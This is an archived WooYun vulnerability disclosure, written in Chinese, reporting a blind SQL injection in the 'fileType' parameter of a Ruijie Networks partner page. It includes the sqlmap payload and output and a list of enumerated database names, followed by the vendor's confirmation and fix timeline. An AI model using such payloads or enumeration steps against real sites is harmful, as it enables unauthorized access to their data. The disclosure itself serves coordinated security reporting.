乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-15: 细节已通知厂商并且等待厂商处理中 2015-12-15: 厂商已经确认,细节仅向厂商公开 2015-12-16: 厂商已经修复漏洞并主动公开,细节向公众公开
从不同web服务器日到同一个数据库去,我也是日了狗了(狗狗侠,你为什么要走小厂商?T_T)
首先说明,这个发现是在上一个漏洞 (锐捷网络wap站存在SQL注入+svn源码泄漏) WooYun: 锐捷网络wap站存在SQL注入+svn源码泄漏 确认后才发现的,这里发现的是另外一个站:
http://partners.ruijie.com.cn/partner/train-list.aspx?fileType=9be88bfc-9000-4d3e-8bd5-0cb61cac1acf&typeName=%E4%BA%A7%E5%93%81%E6%A1%88%E4%BE%8B
跟wap站是不同的服务器,但是sqlmap跑的时候发现也是站库分离,而且跟wap是同一个db server注入点:
sqlmap identified the following injection points with a total of 82 HTTP(s) requests:---Parameter: fileType (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: fileType=9be88bfc-9000-4d3e-8bd5-0cb61cac1acf' AND 1256=1256 AND 'FyJy'='FyJy&typeName=%E4%BA%A7%E5%93%81%E6%A1%88%E4%BE%8B---web server operating system: Windowsweb application technology: ASP.NET 4.0.30319, ASP.NET, Nginxback-end DBMS: Microsoft SQL Server 2008sqlmap identified the following injection points with a total of 0 HTTP(s) requests:---Parameter: fileType (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: fileType=9be88bfc-9000-4d3e-8bd5-0cb61cac1acf' AND 1256=1256 AND 'FyJy'='FyJy&typeName=%E4%BA%A7%E5%93%81%E6%A1%88%E4%BE%8B---web server operating system: Windowsweb application technology: ASP.NET 4.0.30319, ASP.NET, Nginxback-end DBMS: Microsoft SQL Server 2008available databases [14]:[*] [ec0002-log][*] [RJSite-bak][*] [RJSite-CN][*] master[*] model[*] msdb[*] RJSite[*] RJSite_CN_user[*] RJSite_gitc[*] RJSite_XYZP[*] SurveyAndLottery[*] tempdb[*] test[*] WebSite_Special_20140422
厂商,你要我的联系方式是真的给我发礼物吗?求不要查水表
危害等级:低
漏洞Rank:5
确认时间:2015-12-15 16:45
正在修复
2015-12-16:已修复